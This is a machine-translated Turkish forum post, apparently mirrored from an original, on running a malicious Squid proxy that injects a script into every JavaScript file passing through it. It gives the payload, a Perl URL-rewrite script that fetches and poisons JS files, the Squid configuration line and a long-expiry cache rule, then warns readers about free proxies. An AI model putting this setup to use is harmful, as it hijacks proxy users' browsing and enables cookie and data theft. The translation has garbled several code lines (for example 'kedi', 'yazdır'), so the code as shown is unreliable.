Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 14819|Yanıt: 3

[Güvenli İletişim] Proxy sunucuları kullanarak kullanıcıların özel verilerini ele geçirmek

[Bağlantıyı kopyala]
Yayınlandı 19.01.2015 02:34:56 | | | |
Bu gönderi en son Mo Xiaowen tarafından 2015-6-7 23:19 tarihinde düzenlenmiştir


Bu, SQUID'in konfigürasyonunu basitçe değiştirerek yapılabilir
SQUID nedir?
Squid, internet verilerini önbelleyere, kullanıcılardan indirme taleplerini alan ve indirilen verileri otomatik olarak işleyen bir yazılımdır. Bir kullanıcı ana sayfa indirmek istediğinde, Squid'e bir talep gönderebilir, Squid'den onun adına indirmesini ister, ardından Squid web sitesine bağlanır ve ana sayfayı ister, ardından ana sayfayı kullanıcıya gönderir ve yedek tutar; diğer kullanıcılar aynı sayfaya başvurduğunda, Squid kaydedilen yedeği hemen kullanıcıya gönderir, böylece kullanıcı hızın oldukça hızlı olduğunu hisseder. Squid HTTP, FTP, GOPHER, SSL ve WAIS gibi protokolleri proxy edebilir, Squid ise otomatik olarak yönetebiliyor ve Squid'i ihtiyacınıza göre ayarlayarak istenmeyen şeyleri filtreleyebilirsiniz.
Squid, AIX, Digital, UNIX, FreeBSD, HP-UX, Irix, Linux, NetBSD, Nextstep, SCO, Solaris, OS/2 gibi birçok işletim sisteminde çalışabilir.
Uygulama çok basittir:
1. Squid'i bir Linux sunucusuna kurun.
2. Sunucunun kodunu değiştir, tüm gönderilen javascrip'e kodumuzun bir parçasını ekle ve gönder.
3. Değiştirilmiş js dosyamızın önbellek süresini mümkün olduğunca yüksek ayarlayın.
Bu yöntem, SSL etkin olan web siteleri için de geçerlidir; web sitesi güvenli olmayan bir kaynak yüklerse (örneğin HTTP sitesi için jquery gibi), çoğu tarayıcı uyarı verir, ancak çok az kişi dikkat eder.
Chema, vekili serbest bıraktıktan birkaç gün sonra 5.000'den fazla kişinin kullandığını ve çoğu kişinin proxy'yi kötü şeyler için kullandığını söyledi, çünkü proxy'yi kullandılar, bu yüzden anonim ve güvenli olduğunu düşündüler, ama proxy sunucunun da kötü şeyler yapacağını hiç beklemediler.
Kötü niyetli proxy sunucunuzu oluşturun
Zaten bir Squid proxy sunucunuz varsa, Apache gibi bir web sunucusuna da ihtiyacınız olacak.
Adım 1: Bir yük oluşturun
Tüm bağlantıları web siteme yönlendirmek için basit bir script kullanıyorum.
/etc/squid/payload.js

[mw_shl_code=javascrip remove t, true]for(var i=0; i<document.getelementsbytagname('a').length; i++)
document.getElementsByTagName('a').href = "https://blog.haschek.at"; [/mw_shl_code]
Adım 2: Tüm JS dosyalarını enfekte edecek bir betik yaz
/etc/squid/poison.pl
[mw_shl_code=perl,doğru]
#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while(<>)
{
  chomp $_;
  if($_ =- /(.*.js)/i)
  {
        $url = 1$;
        system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
        system("chmod o+r /var/www/tmp/$pid-$count.js");
        sistem("kedi /etc/kalamar/payload.js >> /var/www/tmp/$pid-$count.js");
        "http://127.0.0.1:80/tmp/$pid-$count.js" yazdır;
  }
  else
  {
        "$_" yazdır;
  }
$count++;
}[/mw_shl_code]
Bu betik, sayfanın orijinal javascrip'ini almak ve t dosyasını kaldırmak için wget kullanır, ardından /etc/squid/payload.js kodu ekleyip değiştirilmiş dosyayı istemciye gönderir, ayrıca /var/www/tmp dizinini oluşturup squid'in dosya yazmasına izin vermeniz gerekir. Bu dizin değiştirilmiş js dosyalarını saklar.


Adım 3: Yukarıdaki yazıyı Squid ile birleştirin
/etc/squid/squid.conf içine ekle
[mw_shl_code=html,true]url_rewrite_program /etc/squid/poison.pl[/mw_shl_code]
Adım 4: Önbelleği asla arızalamasın
/var/www/tmp/.htaccess
[mw_shl_code=html,doğru] ExpiresActive On
Süresi doluyorVarsayılan "erişim artı 3000 gün"[/mw_shl_code]
Bu, Apache'ye kullanıcı önbelleğini temizleyene kadar uzun bir son kullanma süresi vermesini söyler.


Bu proxy'yi bağlarsanız, herhangi bir bağlantıya tıklarsanız web siteme yönlendirileceksiniz ve daha sonra proxy'yi kullanmasanız bile önbellek yine de var olacak. Ben sadece agresif olmayan bir yük kullandım ve bu yöntemle hackerlar çok daha fazlasını yapabiliyor. Bu yüzden, kendinize ve arkadaşlarınıza ücretsiz proxy kullanmaya dikkat etmenizi hatırlatın.





Önceki:Binlerce FLASH şeffaf materyal
Önümüzdeki:Android makine iPhone ve iPad'i dakikalar içinde geçici hale getiriyor (süper kolay)
Yayınlandı 19.01.2015 08:48:45 |
Evet, tüm erişim verileri proxy sunucusu tarafından ele geçirilebilir, post-get gönderimleri dahil, peki gizlilik nasıl konuşulabilir?
Yayınlandı 19.01.2015 09:53:53 |
Kurabiyelerimi yakalayabilirler mi?
 Ev sahibi| Yayınlandı 20.01.2015 14:36:06 |

Evet                                             
Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com